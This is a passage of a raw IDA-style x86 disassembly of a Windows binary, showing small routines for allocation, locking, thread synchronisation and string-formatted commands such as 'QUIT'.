esp, 10h cmp eax, 2 jnz short loc_42FA44 mov ecx, [esp+120h] mov edx, [esp+10h] pop edi mov eax, ebp pop esi pop ebp mov [ecx], edx pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42FA44: ; CODE XREF: ___:0042FA07j ; ___:0042FA28j xor ebp, ebp pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FAA0: ; CODE XREF: ___:004013C0j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push edi mov edi, edx mov ebx, 1 repne scasb not ecx add ecx, 6 cmp ecx, 100h jbe short loc_42FAD0 pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FAD0: ; CODE XREF: ___:0042FAC5j push esi push edx lea eax, [esp+10h] push offset dword_4476C8 push eax nop call near ptr 77C3F931h mov esi, [esp+128h] lea ecx, [esp+18h] push esi push 32h push ecx call sub_42E490 add esp, 18h test eax, eax jnz short loc_42FB0B xor ebx, ebx pop esi mov eax, ebx pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FB0B: ; CODE XREF: ___:0042FAFBj mov edx, [esp+118h] mov eax, [esp+114h] add esi, 48h push edx push esi push eax nop call near ptr 77C47A90h add esp, 0Ch mov eax, ebx pop esi pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FB70 proc near ; CODE XREF: sub_4016B3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch arg_C = dword ptr 10h movsx eax, [esp+arg_8] mov ecx, [esp+arg_C] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 3 push ecx push edx push eax call sub_42F6F0 add esp, 14h retn sub_42FB70 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FBA0: ; CODE XREF: ___:004016D1j movsx eax, byte ptr [esp+0Ch] mov ecx, [esp+10h] mov edx, [esp+8] push eax mov eax, [esp+8] push 4 push ecx push edx push eax call sub_42F6F0 add esp, 14h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FBD0: ; CODE XREF: ___:0040149Cj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42FC69 mov ebx, [esp+114h] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42FC69 mov esi, dword_511A6C push edx lea eax, [esp+10h] push offset dword_4476E0 push eax call esi mov edi, [esp+124h] lea ecx, [esp+18h] push edi push 33h push ecx call sub_42E490 add esp, 18h test eax, eax jz short loc_42FC69 push ebx lea edx, [esp+10h] push offset dword_4476D4 push edx call esi push edi lea eax, [esp+1Ch] push 32h push eax call sub_42E490 add esp, 18h neg eax sbb eax, eax pop edi pop esi pop ebx neg eax add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FC69: ; CODE XREF: ___:0042FBF1j ; ___:0042FC0Cj ... pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FCB0: ; CODE XREF: ___:00401C7Bj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42FCD9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FCD9: ; CODE XREF: ___:0042FCD0j push edx lea eax, [esp+4] push offset dword_4476EC push eax call near ptr 77C3F931h nop mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FD30 proc near ; CODE XREF: sub_401D66j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+18h] test eax, eax jnz short loc_42FD69 push edi push esi push 32h push offset aQuit ; "QUIT" call sub_42E490 mov eax, [esi+8] add esp, 0Ch push eax call sub_4381FC ; --------------------------------------------------------------------------- mov ecx, [esi+14h] mov edi, dword_511AD0 push ecx call edi push esi call edi add esp, 8 pop edi loc_42FD69: ; CODE XREF: sub_42FD30+Aj pop esi retn sub_42FD30 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FD80: ; CODE XREF: ___:004021C1j push edi mov edi, [esp+8] test edi, edi jnz short loc_42FD90 mov eax, 16h pop edi retn ; --------------------------------------------------------------------------- loc_42FD90: ; CODE XREF: ___:0042FD87j push 1Ch nop call near ptr 77C2C407h add esp, 4 test eax, eax jnz short loc_42FDA6 mov eax, 0Ch pop edi retn ; --------------------------------------------------------------------------- loc_42FDA6: ; CODE XREF: ___:0042FD9Dj mov ecx, 1 mov dword ptr [eax+8], 0 mov dword ptr [eax+0Ch], 0 mov dword ptr [eax+10h], 0 mov [eax+14h], ecx mov [eax+18h], ecx mov dword ptr [eax], 0C4C0FFEEh mov [edi], eax xor eax, eax pop edi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FE00: ; CODE XREF: ___:0040151Ej push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FE19 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FE19: ; CODE XREF: ___:0042FE10j mov eax, [esi] mov dword ptr [eax], 0 mov ecx, [esi] push ecx nop call near ptr 77C2C21Bh add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FE50: ; CODE XREF: ___:004012D5j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax mov eax, [esp+0Ch] jnz short loc_42FE75 test eax, eax jz short loc_42FE75 mov ecx, [esi] pop esi mov edx, [ecx+0Ch] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_42FE75: ; CODE XREF: ___:0042FE64j ; ___:0042FE68j mov dword ptr [eax], 1 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FEA0: ; CODE XREF: ___:004013ACj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FEB9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FEB9: ; CODE XREF: ___:0042FEB0j mov eax, [esp+0Ch] test eax, eax jz short loc_42FECD cmp eax, 1 jz short loc_42FECD mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FECD: ; CODE XREF: ___:0042FEBFj ; ___:0042FEC4j mov ecx, [esi] pop esi mov [ecx+0Ch], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FEF0: ; CODE XREF: ___:00401519j mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FF10: ; CODE XREF: ___:00401834j mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FF30: ; CODE XREF: ___:00401348j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FF49 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FF49: ; CODE XREF: ___:0042FF40j mov eax, [esi] mov edx, [esp+0Ch] pop esi mov ecx, [eax+8] xor eax, eax mov [edx], ecx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FF70: ; CODE XREF: ___:00402207j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FF89 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FF89: ; CODE XREF: ___:0042FF80j mov eax, [esi] mov ecx, [esp+0Ch] pop esi mov [eax+8], ecx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FFB0: ; CODE XREF: ___:004019B0j mov eax, [esp+4] mov ecx, [eax] mov eax, [esp+8] mov edx, [ecx+18h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FFE0: ; CODE XREF: ___:004019ABj mov eax, [esp+8] sub eax, 0 jz short loc_430002 dec eax jz short loc_42FFF2 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_42FFF2: ; CODE XREF: ___:0042FFEAj mov eax, [esp+4] mov ecx, [eax] xor eax, eax mov dword ptr [ecx+18h], 1 retn ; --------------------------------------------------------------------------- loc_430002: ; CODE XREF: ___:0042FFE7j mov eax, 30h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430020: ; CODE XREF: ___:00401C1Cj push ebx mov ebx, [esp+8] push esi push edi test ebx, ebx jz loc_4300BB mov edi, [esp+18h] test edi, edi jz loc_4300BB push 18h push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jz short loc_4300B2 mov eax, [esp+14h] ; DATA XREF: ___:off_444E88o test eax, eax jz short loc_430060 mov eax, [eax] test eax, eax jz short loc_430060 mov eax, [eax] jmp short loc_430062 ; --------------------------------------------------------------------------- loc_430060: ; CODE XREF: ___:00430054j ; ___:0043005Aj xor eax, eax loc_430062: ; CODE XREF: ___:0043005Ej mov [esi+4], edi mov [esi], edi lea edi, [esi+10h] push 0 push eax push edi mov [esi+0Ch], eax mov dword ptr [esi+8], 0 call sub_401C8A add esp, 0Ch test eax, eax jnz short loc_4300A8 push eax mov eax, [esi+0Ch] lea ecx, [esi+14h] push eax push ecx call sub_401C8A add esp, 0Ch test eax, eax jnz short loc_43009F mov [ebx], esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43009F: ; CODE XREF: ___:00430097j push edi call sub_401690 add esp, 4 loc_4300A8: ; CODE XREF: ___:00430082j push esi call near ptr 77C2C21Bh nop add esp, 4 loc_4300B2: ; CODE XREF: ___:0043004Cj pop edi pop esi mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_4300BB: ; CODE XREF: ___:00430029j ; ___:00430035j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_430100: ; CODE XREF: ___:0040220Cj push ebx push ebp mov ebp, [esp+0Ch] push esi test ebp, ebp push edi jz short loc_430168 mov esi, [ebp+0] test esi, esi jz short loc_430168 lea ebx, [esi+10h] mov dword ptr [ebp+0], 0 push ebx call sub_401690 mov edi, eax add esp, 4 test edi, edi jnz short loc_43015E lea eax, [esi+14h] push eax call sub_401690 mov edi, eax add esp, 4 test edi, edi jnz short loc_43014F push esi nop call near ptr 77C2C21Bh add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_43014F: ; CODE XREF: ___:0043013Cj mov ecx, [esi+0Ch] push 0 push ecx push ebx call sub_401C8A add esp, 0Ch loc_43015E: ; CODE XREF: ___:0043012Aj mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_430168: ; CODE XREF: ___:0043010Aj ; ___:00430111j pop edi pop esi pop ebp mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4301A0: ; CODE XREF: ___:004017A3j mov eax, [esp+4] push esi test eax, eax jz loc_430254 mov esi, [eax] test esi, esi jz loc_430254 push ebp lea ebp, [esi+8] push edi push esi mov edi, [ebp+0] call near ptr 27708E7h nop test eax, eax jnz short loc_4301E7 mov eax, [esi+4] cmp eax, 1 mov [esi], eax jbe short loc_430234 dec eax push eax lea eax, [esi+edi*4+10h] push eax call sub_402068 add esp, 8 mov esi, eax jmp short loc_430230 ; --------------------------------------------------------------------------- loc_4301E7: ; CODE XREF: ___:004301C8j push ebx call sub_4012E4 ; --------------------------------------------------------------------------- mov ecx, [eax+34h] mov ebx, 1 cmp ecx, ebx jnz short loc_43020B lea ecx, [esp+14h] push ecx push ebx call sub_401415 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jz short loc_43020D loc_43020B: ; CODE XREF: ___:004301F7j xor ebx, ebx loc_43020D: ; CODE XREF: ___:00430209j lea edx, [esi+edi*4+10h] push edx call sub_401041 add esp, 4 mov esi, eax test ebx, ebx pop ebx jz short loc_430230 mov eax, [esp+10h] push 0 push eax call sub_401415 ; --------------------------------------------------------------------------- add esp, 8 loc_430230: ; CODE XREF: ___:004301E5j ; ___:0043021Fj test esi, esi jnz short loc_43024E loc_430234: ; CODE XREF: ___:004301D2j mov ecx, 1 push edi sub ecx, edi push ecx push ebp call dword_5103C8 ; InterlockedCompareExchange xor edx, edx cmp edi, eax setnz dl dec edx mov esi, edx loc_43024E: ; CODE XREF: ___:00430232j pop edi mov eax, esi pop ebp pop esi retn ; --------------------------------------------------------------------------- loc_430254: ; CODE XREF: ___:004301A7j ; ___:004301B1j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_430290: ; CODE XREF: ___:00401F6Ej push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_4302B3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4302B3: ; CODE XREF: ___:004302A2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4302E0: ; CODE XREF: ___:00401A87j mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_430301 mov eax, [ecx] test eax, eax jz short loc_430301 push eax mov [ecx], esi call near ptr 77C2C21Bh nop add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_430301: ; CODE XREF: ___:004302E9j ; ___:004302EFj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430320: ; CODE XREF: ___:0040127Bj mov eax, [esp+4] test eax, eax jz short loc_43033D mov eax, [eax] test eax, eax jz short loc_43033D mov ecx, [esp+8] test ecx, ecx jz short loc_43033D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_43033D: ; CODE XREF: ___:00430326j ; ___:0043032Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430360: ; CODE XREF: ___:00401636j mov eax, [esp+4] test eax, eax jz short loc_43038A mov ecx, [eax] test ecx, ecx jz short loc_43038A mov eax, [esp+8] cmp eax, 1 jz short loc_43037E test eax, eax jnz short loc_43038A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_43037E: ; CODE XREF: ___:00430375j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_43038A: ; CODE XREF: ___:00430366j ; ___:0043036Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4303A0 proc near ; CODE XREF: sub_401415j push esi push edi call sub_4012E4 sub_4303A0 endp ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h dd 0E8532C5Eh, 0FFFD1E84h, 1824448Bh, 8504C483h, 8B0574C0h dd 889304Eh, 7E89FF85h, 8B3E7530h, 0C0853446h, 568B3775h dd 90525738h, 340200E8h, 75C08502h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 90000000h, 340305E8h, 0B4E85302h dd 6AFFFD0Ch, 19D7E802h, 0C483FFFDh, 0A4E85308h, 83FFFD0Ch dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h, 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_430460: ; CODE XREF: ___:00402261j push ebx push esi call sub_4012E4 ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h dd 0E8572C7Eh, 0FFFD1DC4h, 1824448Bh, 8504C483h, 8B0574C0h dd 889344Eh, 8930468Bh, 0C085345Eh, 0DB853B75h, 568B3775h dd 0E8525338h, 2340141h, 75C08590h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 90000000h, 340245E8h, 0F4E85702h dd 6AFFFD0Bh, 1917E802h, 0C483FFFDh, 0E4E85708h, 83FFFD0Bh dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h, 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430520 proc near ; CODE XREF: sub_401D02j push esi push edi call sub_4012E4 sub_430520 endp ; --------------------------------------------------------------------------- db 8Bh dd 2C7E8DF0h, 1D16E857h, 0C483FFFDh, 74F68504h, 307E8334h dd 8B2E7401h, 6A3846h, 0A2E89050h, 85023400h, 571E75C0h dd 30C46C7h, 0C7000000h, 13046h, 60E80000h, 6AFFFD0Bh dd 1883E802h, 0C483FFFDh, 50E85708h, 83FFFD0Bh, 5E5F04C4h dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_4305A0: ; CODE XREF: ___:00401D39j sub esp, 2D0h push esi mov esi, [esp+2D8h] push 0 push esi call sub_401762 add esp, 8 mov [esp+4], eax test eax, eax jnz loc_4306D9 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4305DB mov eax, 0Ch pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_4305DB: ; CODE XREF: ___:004305CCj push ebx push ebp push edi push eax push esi call sub_401A64 lea ebx, [esi+2Ch] mov edi, eax push ebx call sub_402248 mov eax, [esi+34h] add esp, 0Ch test eax, eax mov ebp, 3 jnz loc_4306B2 mov eax, [esi+30h] test eax, eax jnz loc_4306B2 cmp [esi+0Ch], ebp jge loc_4306C5 test edi, edi jz short loc_430644 push ebx mov [esi+0Ch], ebp mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DED ; --------------------------------------------------------------------------- mov eax, [esp+18h] add esp, 8 pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_430644: ; CODE XREF: ___:00430619j mov edi, [esi+4] push edi call near ptr 2760A81h nop push 0 push edi call near ptr 27705EDh nop cmp eax, 102h jnz short loc_4306D2 lea eax, [esp+14h] mov [esi+0Ch], ebp push eax push edi mov dword ptr [esi+30h], 1 mov dword ptr [esp+1Ch], 10001h nop call near ptr 2760CA7h lea ecx, [esp+14h] mov dword ptr [esp+0CCh], offset loc_430750 push ecx push edi nop call near ptr 2770000h push ebx call sub_4010C3 add esp, 4 push edi nop call near ptr 2770236h mov eax, [esp+10h] pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_4306B2: ; CODE XREF: ___:004305FDj ; ___:00430608j cmp [esi+0Ch], ebp jge short loc_4306C5 mov edx, [esi+38h] push edx nop call near ptr 2770474h test eax, eax jnz short loc_4306C9 loc_4306C5: ; CODE XREF: ___:00430611j ; ___:004306B5j mov [esp+10h], ebp loc_4306C9: ; CODE XREF: ___:004306C3j push ebx call sub_4010C3 add esp, 4 loc_4306D2: ; CODE XREF: ___:0043065Cj mov eax, [esp+10h] pop edi pop ebp pop ebx loc_4306D9: ; CODE XREF: ___:004305BFj pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_430750: ; DATA XREF: ___:00430680o push 2 call sub_401DED ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430770 proc near ; CODE XREF: sub_401122j mov eax, dword_5103B8 push esi push eax call sub_401190 sub_430770 endp ; --------------------------------------------------------------------------- mov esi, eax add esp, 4 test esi, esi jz short loc_4307AE mov eax, [esp+8] test eax, eax jz short loc_43079C mov eax, [esi] test eax, eax jz short loc_43079C mov ecx, [esi+4] push ecx call eax add esp, 4 loc_43079C: ; CODE XREF: ___:0043078Bj ; ___:00430791j mov edx, [esi+8] mov eax, dword_5103B8 push edx push eax call sub_4020F9 ; --------------------------------------------------------------------------- add esp, 8 loc_4307AE: ; CODE XREF: ___:00430783j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4307E0 proc near ; CODE XREF: sub_401663j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] mov ecx, [esp+arg_8] push esi mov esi, [esp+4+arg_0] mov [esi], eax mov [esi+4], ecx mov edx, dword_5103B8 push edx call sub_401190 sub_4307E0 endp ; --------------------------------------------------------------------------- mov [esi+8], eax mov eax, dword_5103B8 push esi push eax call sub_4020F9 ; --------------------------------------------------------------------------- add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430830 proc near ; CODE XREF: sub_401B63j arg_0 = dword ptr 4 push esi push offset dword_510900 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_430864 push esi push ecx call sub_40154B add esp, 8 mov esi, eax push offset dword_510900 call near ptr 7C9010EDh nop mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_430864: ; CODE XREF: sub_430830+17j test eax, eax jnz short loc_43086D mov esi, 16h loc_43086D: ; CODE XREF: sub_430830+36j push offset dword_510900 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_430830 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4308A0: ; CODE XREF: ___:0040211Cj push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_4308C3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4308C3: ; CODE XREF: ___:004308B2j mov ecx, [esp+8] mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4308E0: ; CODE XREF: ___:004021F3j push esi mov esi, [esp+8] test esi, esi jz short loc_430903 mov eax, [esi] test eax, eax jz short loc_430903 push eax nop call near ptr 77C2C21Bh add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_430903: ; CODE XREF: ___:004308E7j ; ___:004308EDj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430920: ; CODE XREF: ___:00401005j mov eax, [esp+4] test eax, eax jz short loc_43093D mov eax, [eax] test eax, eax jz short loc_43093D mov ecx, [esp+8] test ecx, ecx jz short loc_43093D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_43093D: ; CODE XREF: ___:00430926j ; ___:0043092Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430960: ; CODE XREF: ___:004012ADj mov eax, [esp+4] test eax, eax jz short loc_43098A mov ecx, [eax] test ecx, ecx jz short loc_43098A mov eax, [esp+8] cmp eax, 1 jz short loc_43097E test eax, eax jnz short loc_43098A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_43097E: ; CODE XREF: ___:00430975j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_43098A: ; CODE XREF: ___:00430966j ; ___:0043096Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4309A0 proc near ; CODE XREF: sub_40154Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi xor edi, edi xor esi, esi cmp eax, edi jnz short loc_4309B6 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_4309B6: ; CODE XREF: sub_4309A0+Cj mov eax, [esp+8+arg_4] push ebx cmp eax, edi push ebp jz short loc_4309DD mov eax, [eax] cmp eax, edi jz short loc_4309DD cmp dword ptr [eax], 1 jnz short loc_4309DD mov edx, [esp+10h+arg_0] mov edi, 28h pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4309DD: ; CODE XREF: sub_4309A0+1Ej ; sub_4309A0+24j ... push 20h push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 cmp esi, edi jnz short loc_430A02 mov edx, [esp+10h+arg_0] mov edi, 0Ch pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430A02: ; CODE XREF: sub_4309A0+4Ej lea ebp, [esi+10h] push 1 push edi push ebp mov [esi], edi mov [esi+8], edi mov [esi+4], edi call sub_401C8A add esp, 0Ch test eax, eax jz short loc_430A27 nop call near ptr 77C1F2BCh mov edi, [eax] jmp short loc_430A6B ; --------------------------------------------------------------------------- loc_430A27: ; CODE XREF: sub_4309A0+7Bj lea ebx, [esi+0Ch] push 0 push 0 push ebx call sub_401C8A add esp, 0Ch test eax, eax jz short loc_430A45 call near ptr 77C1F2BCh nop mov edi, [eax] jmp short loc_430A62 ; --------------------------------------------------------------------------- loc_430A45: ; CODE XREF: sub_4309A0+99j lea eax, [esi+14h] push 0 push eax call sub_4021BC mov edi, eax add esp, 8 test edi, edi jz short loc_430ACF push ebx call sub_401690 add esp, 4 loc_430A62: ; CODE XREF: sub_4309A0+A3j push ebp call sub_401690 add esp, 4 loc_430A6B: ; CODE XREF: sub_4309A0+85j push esi call near ptr 77C2C21Bh nop add esp, 4 xor esi, esi test edi, edi jnz short loc_430AC2 loc_430A7B: ; CODE XREF: sub_4309A0+131j push offset dword_510980 nop call near ptr 7C901005h mov dword ptr [esi+18h], 0 mov ecx, dword_5103C0 mov [esi+1Ch], ecx mov eax, dword_5103C0 test eax, eax jz short loc_430AA2 mov [eax+18h], esi loc_430AA2: ; CODE XREF: sub_4309A0+FDj mov eax, dword_5103BC mov dword_5103C0, esi test eax, eax jnz short loc_430AB7 mov dword_5103BC, esi loc_430AB7: ; CODE XREF: sub_4309A0+10Fj push offset dword_510980 nop call near ptr 7C9010EDh loc_430AC2: ; CODE XREF: sub_4309A0+D9j mov edx, [esp+10h+arg_0] pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430ACF: ; CODE XREF: sub_4309A0+B7j xor edi, edi jmp short loc_430A7B sub_4309A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430B30 proc near ; CODE XREF: sub_401AA5j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push ebx push ebp push esi push edi mov edi, [esp+14h+arg_0] xor esi, esi xor ebp, ebp xor ebx, ebx test edi, edi mov [esp+14h+var_4], ebp jz loc_430CDC mov eax, [edi] test eax, eax jz loc_430CDC cmp eax, 0FFFFFFFFh jz loc_430C93 push offset dword_510980 nop call near ptr 7C901005h mov esi, [edi] lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_430B89 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430B89: ; CODE XREF: sub_430B30+49j lea ebp, [esi+14h] push ebp call sub_401785 add esp, 4 mov [esp+14h+arg_0], eax test eax, eax jz short loc_430BB0 push ebx call sub_40103C mov eax, [esp+18h+arg_0] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430BB0: ; CODE XREF: sub_430B30+6Bj mov eax, [esi] mov ecx, [esi+4] cmp eax, ecx jle short loc_430BE9 push ebx call sub_40103C add esp, 4 test eax, eax jz short loc_430BD2 nop call near ptr 77C1F2BCh mov ecx, [eax] mov [esp+14h+arg_0], ecx loc_430BD2: ; CODE XREF: sub_430B30+94j push ebp call sub_4010C3 add esp, 4 mov [esp+14h+var_4], eax mov ebx, 10h jmp loc_430C7E ; --------------------------------------------------------------------------- loc_430BE9: ; CODE XREF: sub_430B30+87j 